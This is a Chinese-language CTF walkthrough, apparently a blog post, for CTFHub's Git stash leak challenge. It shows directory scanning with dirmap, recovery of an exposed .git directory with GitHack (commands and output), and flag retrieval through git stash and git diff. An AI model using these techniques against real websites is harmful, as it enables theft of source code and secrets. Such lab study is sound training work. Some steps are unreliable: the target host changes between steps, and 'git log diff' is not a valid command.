CTFHub 信息泄露通关笔记8:Git泄露 Stash(两种方法渗透)
目录
一、Git泄露
1、git简介
2、git stash简介
(1)作用场景
(2)常用命令
3、git泄露的成因
4、git泄露的危害
二、GitHack工具
1、工具简介
2、下载安装
(1)下载安装GitHack
① Git命令下载
② Web页面下载
(2)基本使用方法
3、利用步骤
三、渗透实战
1、打开靶场
2、目录扫描发现.git文件
3、githack渗透
4、方法1:通过Git Stash获取flag
(1)查看暂存记录:git stash list
(2)恢复暂存记录:git stash pop
5、方法2:通过git log获取flag
(1)查看提交历史(git log)
(2)比较 "add flag" 版本的修改(git log diff)
(3)获取stash日志id
(4)git diff获取flag
本文通过CTFHub的信息泄露-Git泄露-Git stash关卡的渗透实战,详细介绍了GitHack工具的使用方法,通过实战演示了两种获取flag的技术路径:1)利用git stash list/pop恢复暂存修改;2)通过git log分析提交历史,结合git diff定位stash目录中的敏感信息。实验证明,开发人员需严格检查生产环境.git目录权限,避免版本控制信息泄露带来的安全风险。
一、Git泄露
在信息安全领域,.git
文件泄露是一种常见且危害较大的敏感信息泄露场景。它源于 Git 版本控制系统在项目中生成的 .git
目录被意外暴露在 Web 服务器上,攻击者可通过该目录获取项目的完整源代码、历史提交记录、配置文件等敏感信息。
1、git简介
Git 作为分布式版本控制系统,会在项目根目录生成 .git
目录,用于存储版本控制所需的所有元数据,包括:
- 版本历史:所有提交记录(
commits
)、分支(branches
)、标签(tags
)等。 - 文件快照:项目文件的不同版本数据(存储在
objects
目录)。 - 配置信息:仓库配置(
config
)、当前分支指针(HEAD
)、索引文件(index
)等。
2、git stash简介
git stash
是 Git 版本控制系统中一个非常实用的命令,主要用于临时保存工作区和暂存区的修改,以便在不提交当前更改的情况下切换分支、清理工作区等。
(1)作用场景
- 切换分支:当你在当前分支上进行了一些代码修改,但还没有完成,此时又需要切换到另一个分支去处理紧急任务,使用
git stash
可以将当前未提交的修改临时保存起来,切换到其他分支后不会影响该分支的状态,处理完紧急任务再切回原分支恢复修改继续工作。 - 清理工作区:在拉取远程仓库的最新代码、合并分支等操作之前,为了避免本地未提交的修改与远程代码冲突,你可以使用
git stash
先把本地修改存起来,等操作完成后再恢复。 - 多人协作:在团队协作中,当你需要提交代码到公共仓库,但又不想把自己未完成的工作提交上去影响他人,就可以用
git stash
把自己的修改暂存,只提交已经完成并测试通过的部分。
(2)常用命令
以下是 git stash
常用命令的表格说明,包含命令、功能描述和使用场景。
命令 | 功能描述 | 使用场景 |
---|---|---|
git stash | 将当前工作区和暂存区的修改存入 stash 栈,工作区恢复为干净状态 | 临时保存未完成的修改,需切换分支或执行其他操作时 |
git stash save "描述信息" | 存入 stash 时添加自定义描述,方便后续识别 | 有多条 stash 记录时,通过描述快速区分内容 |
git stash list | 列出所有 stash 记录,按时间排序(最新的在最前面) | 查看已保存的 stash 记录,确定需要操作的目标 |
git stash show | 显示最新一条 stash 的简要修改信息(文件名和行数变化) | 快速了解 stash 中修改的文件范围 |
git stash show -p <stash-id> | 显示指定 stash 的完整差异(如 stash@{1} ) | 需要详细查看某次 stash 中具体修改的代码内容 |
git stash apply | 恢复最新一条 stash 到工作区,stash 记录保留 | 暂时恢复修改查看效果,可能需要多次使用该 stash 时 |
git stash apply <stash-id> | 恢复指定 stash 到工作区(如 stash@{2} ) | 需要恢复非最新的 stash 记录时 |
git stash pop | 恢复最新一条 stash 到工作区,并删除该 stash 记录 | 确认恢复后不再需要该 stash 时(节省存储空间) |
git stash drop <stash-id> | 删除指定的 stash 记录(如 stash@{0} ) | 清理不再需要的 stash 记录,保持列表简洁 |
git stash clear | 清空所有 stash 记录 | 确认所有 stash 均无用,需要彻底清理时(谨慎使用) |
git stash branch <新分支名> | 基于最新 stash 创建新分支,并应用修改(同时删除该 stash) | 希望在新分支继续开发 stash 中的修改时 |
3、git泄露的成因
- 部署失误:开发或运维人员在部署 Web 项目时,未排除
.git
目录,导致其被上传至生产服务器的 Web 根目录(如wwwroot
、public
等)。 - 权限配置不当:Web 服务器(如 Nginx、Apache)对
.git
目录未做访问限制,允许外部直接访问。 - 目录遍历:服务器存在目录遍历时,攻击者可通过构造路径(如
../.git/HEAD
)绕过限制访问.git
内容。
4、git泄露的危害
- 源代码泄露:攻击者可还原项目完整源代码,分析业务逻辑,寻找 SQL 注入、XSS 等。
- 敏感信息暴露:历史提交中可能包含数据库账号密码、API 密钥、配置文件等敏感数据。
- 开发细节泄露:通过提交记录可了解开发习惯、项目架构,甚至获取内部开发文档。
- 供应链风险:若项目依赖第三方库,攻击者可能通过源码分析依赖组件的安全风险。
二、GitHack工具
1、工具简介
当网站服务器意外泄露 .git
目录(如可通过 http://目标域名/.git
访问)时,GitHack 可通过解析 .git
目录下的版本控制文件(如 config
、index
、objects
等),还原出项目的完整源代码,包括可能包含的 flag、配置文件、敏感逻辑等信息。
项目地址: https://github.com/BugScanTeam/GitHack
特别注意:不要下错版本,github有好几个同名的GitHack,下错了无法渗透成功。(特别注意不是https://github.com/lijiejie/GitHack这个网址,从它下载是错误的)。
2、下载安装
(1)下载安装GitHack
GitHack是一个 .git 文件泄漏利用脚本,它是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码,可通过 Git命令下载或者在官网下载源码。
① Git命令下载
sudo git clone https://github.com/BugScanTeam/GitHack
② Web页面下载
(2)基本使用方法
进入到GitHack目录中,需要使用python2来运行脚本。
#进入到目录文件夹:
cd GitHack
GitHack的使用方法中,必须存在目标 URL这个参数:指定存在 .git
泄漏的网站 URL,需以 .git/
结尾(若输入时未以 /
结尾,工具会自动补全)。例如:http://target.com/.git/是正确的格式。Githack的使用方法如下所示,
可快速利用 .git
泄露获取网站源代码。
#使用方法:
sudo python2 GitHack.py http://www.example.com/.git
其中 http://www.example.com/.git/
是目标网站的 .git
目录 URL,执行该命令后,工具会尝试从目标 URL 还原 Git 仓库内容,还原后的文件会保存在当前目录下的 dist/
目录中。
3、利用步骤
GitHack工具可还原 .git
目录中的完整仓库,工具会自动从目标 .git
目录下载文件,还原后的项目存储在 dist/目标域名/
目录中,包含完整源代码和版本历史,步骤如下所示。
# 安装 Git(工具依赖)
sudo apt install git # Ubuntu/Debian
# 克隆 GitHack 工具
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack
# 执行还原(目标为存在.git泄露的URL)
python GitHack.py http://目标域名/.git/
三、渗透实战
1、打开靶场
打开关卡如下所示,提示信息为“当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露安全风险。请尝试使用BugScanTeam的GitHack完成本题”,提示本关卡可以利用.git泄露进行渗透测试。点击打开题目,此时系统自动创建Docker环境,下图蓝色部分的URL地址就是靶场环境。
打开靶场URL,页面提示"Where is flag,具体如下所示。
http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800/
2、目录扫描发现.git文件
通过目录扫描工具对challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800进行渗透,这里选择使用dirmap工具进行渗透,命令如下所示。
sudo python3 dirmap.py -i http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800 –lcf
-lcf
(--loadConfigFile
):该参数表示加载项目根目录下的 dirmap.conf
配置文件,使用文件中定义的详细扫描规则(如字典模式、递归扫描、请求头设置等)。dirmap的扫描结果如下所示,在网站根目录下发现了.git文件夹。
3、githack渗透
使用githack脚本对上一步发现的网站根目录下的.git文件进行渗透测试,通过GitHack.py
工具远程访问目标服务器泄露的.git
仓库,自动解析仓库中的版本控制信息,还原出项目源代码文件(可能包含 flag等敏感信息),完整的命令如下所示。
sudo python2 GitHack.py http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git
运行结果如下所示,利用了网站部署时未删除.git
版本控制目录导致的信息泄露恢复目录文件。
在当前目录的dist/challenge-2452a35a68245349.sandbox.ctfhub.com_10800下成功恢复文件,完整运行结果如下所示。
kali@kali:~/ljn$ cd GitHack/
kali@kali:~/ljn/GitHack$ sudo sudo python2 GitHack.py http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git
[sudo] kali 的密码:____ _ _ _ _ _ / ___(_) |_| | | | __ _ ___| | __
| | _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_| _ | (_| | (__| < \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5} A '.git' folder disclosure exploit. [*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git/
[*] Initialize Target
[*] Try to Clone straightly
[*] Clone
正克隆到 '/home/kali/ljn/GitHack/dist/challenge-2452a35a68245349.sandbox.ctfhub.com_10800'...
fatal: 无法访问 'http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git/':Failed to connect to challenge-2452a35a68245349.sandbox.ctfhub.com port 10800 after 21019 ms: 拒绝连接
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing
[*] Try to clone with Cache
[*] Initialize Git
[!] Initialize Git Error: 提示:使用 'master' 作为初始分支的名称。这个默认分支名称可能会更改。要在新仓库中
提示:配置使用初始分支名,并消除这条警告,请执行:
[*] Cache files
[*] packed-refs
[*] config
[*] HEAD
[*] COMMIT_EDITMSG
[*] ORIG_HEAD
[*] FETCH_HEAD
[*] refs/heads/master
[*] refs/remote/master
[*] index
[*] logs/HEAD
[*] logs/refs/heads/master
[*] Fetch Commit Objects
[*] objects/f0/da992e7fa3c50ad9fe578ac9bb19361fc4d259
[*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
[*] objects/06/7c669fb39664eb83726b99b615f508022936be
[*] objects/24/1022aff3f8aceb3e06f1754413f130d71bc86b
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] objects/e9/a92bc9eb722a32963cdd3e0ba4d8f574f20a27
[*] objects/e3/58b09f4cb4e5800dd20e1aa6758bf80811001a
[*] Fetch Commit Objects End
[*] logs/refs/remote/master
[*] logs/refs/stash
[*] refs/stash
[*] Fetch Commit Objects
[*] objects/3f/e70768d9b7f525376efb3a6af2e081f6189d83
[*] objects/fe/076d1e1a3b97974453d73da70b3175f743c4cd
[*] objects/af/e98322348ada60d5306f2d878979c37b2885f1
[*] objects/05/6c4148de9af323007268f5cdb57f428017ae1a
[*] Fetch Commit Objects End
[*] Valid Repository
[+] Valid Repository Success[+] Clone Success. Dist File : /home/kali/ljn/GitHack/dist/challenge-2452a35a68245349.sandbox.ctfhub.com_10800
4、方法1:通过Git Stash获取flag
使用Git stash方法获取flag的具体步骤如下所示,主要分为3个步骤。
- 利用
GitHack
恢复泄露的.git
仓库,得到完整的版本控制信息; - 通过
git stash list
发现未提交的暂存记录,且记录中可能包含 flag; - 用
git stash pop
恢复暂存内容,解决冲突后获取到包含 flag 的文件。
(1)查看暂存记录:git stash list
进入到git目录,执行git stash发现add flag,记录下git log id,具体命令如下所示。
cd dist
cd challenge-2452a35a68245349.sandbox.ctfhub.com_10800/
git stash list
执行 git stash list 发现stash(git stash list命令是列出stash),具体效果如下所示。
该命令显示仓库中存在一条暂存记录(stash@{0}
),描述为 “WIP on master: 067c669 add flag”,说明在 master
分支上有一个未提交的工作状态(WIP,Work In Progress),关联的提交记录是 067c669
(提交信息为 “add flag”)。
(2)恢复暂存记录:git stash pop
git stash pop是 Git 版本控制系统中用于恢复暂存修改的命令,其核心功能是取出最近一次 stash(暂存)的修改并应用到当前工作区,同时删除该 stash 记录。
sudo git stash pop
执行 git stash pop 发现从 git 栈中弹出来一个包含flag的文件444628506568.txt(git stash pop命令是恢复到上次改动),查看444628506568.txt文件即可发现flag。
git stash pop
命令的作用是恢复最近的暂存记录(stash@{0}
)并删除该记录。- 这里出现了冲突:文件
444628506568.txt
在当前分支(可能是从远程同步的Updated upstream
)中已被删除,但在暂存记录(Stashed changes
)中被修改过。Git 自动保留了暂存记录中的版本(即包含修改的版本)。 - 冲突解决后,暂存记录中被修改的
444628506568.txt
被保留,通过查看该文件内容,成功获取了 flag(ctfhub{7d277c6fa77f9301da76c49f}
)。
5、方法2:通过git log获取flag
本次通过Git 版本控制记录追溯文件修改历史,从而寻找 flag 的过程,具体步骤分析如下所示。
(1)查看提交历史(git log
)
进入到git目录,执行git log发现add flag,记录下git log id,如下所示。
cd dist
cd challenge-2452a35a68245349.sandbox.ctfhub.com_10800
git log
如下图所示,在执行git log时有addflag、removeflag的日志记录,接下来我们记录下add flag的log id,值为067c669fb39664eb83726b99b615f508022936be。
提交记录明确显示了 "add flag" 和 "remove flag" 的操作,说明 flag 很可能在 add flag
提交中被添加,随后在 remove flag
提交中被删除。输出显示了仓库的 3 次提交记录,按时间倒序排列:
- 最新提交
f0da992
:remove flag
(删除 flag) - 中间提交
067c669
:add flag
(添加 flag) - 初始提交
e9a92bc
:init
(初始化仓库)
(2)比较 "add flag" 版本的修改(git log diff
)
执行git log diff,比较add flag版本的代码修改日志,如下所示成功获取到flag。
sudo git log diff 067c669fb39664eb83726b99b615f508022936be
输出显示直接查看 add flag
提交与当前工作区的差异,未发现目标 flag,说明需要进一步追溯更早的修改。
- 文件
444628506568.txt
被删除(deleted file mode
) - 该文件内容为
where is flag
(此版本未直接包含 flag,可能是过渡内容)
(3)获取stash日志id
在.git/refs/stash文件中发现log id,记录值为3fe70768d9b7f525376efb3a6af2e081f6189d83,具体如下所示。
这个长字符串3fe70768d9b7f525376efb3a6af2e081f6189d83是一个 Git 提交对象的哈希值,对应一次临时存储(stash)的更改。它代表了某次使用git stash
命令时保存的工作区和暂存区状态,包含了当时未提交的修改。
(4)git diff获取flag
对上一步获取的stash日志id(3fe70768d9b7f525376efb3a6af2e081f6189d83)执行git diff,效果如下所示,成获取到flag值。
sudo git diff 3fe70768d9b7f525376efb3a6af2e081f6189d83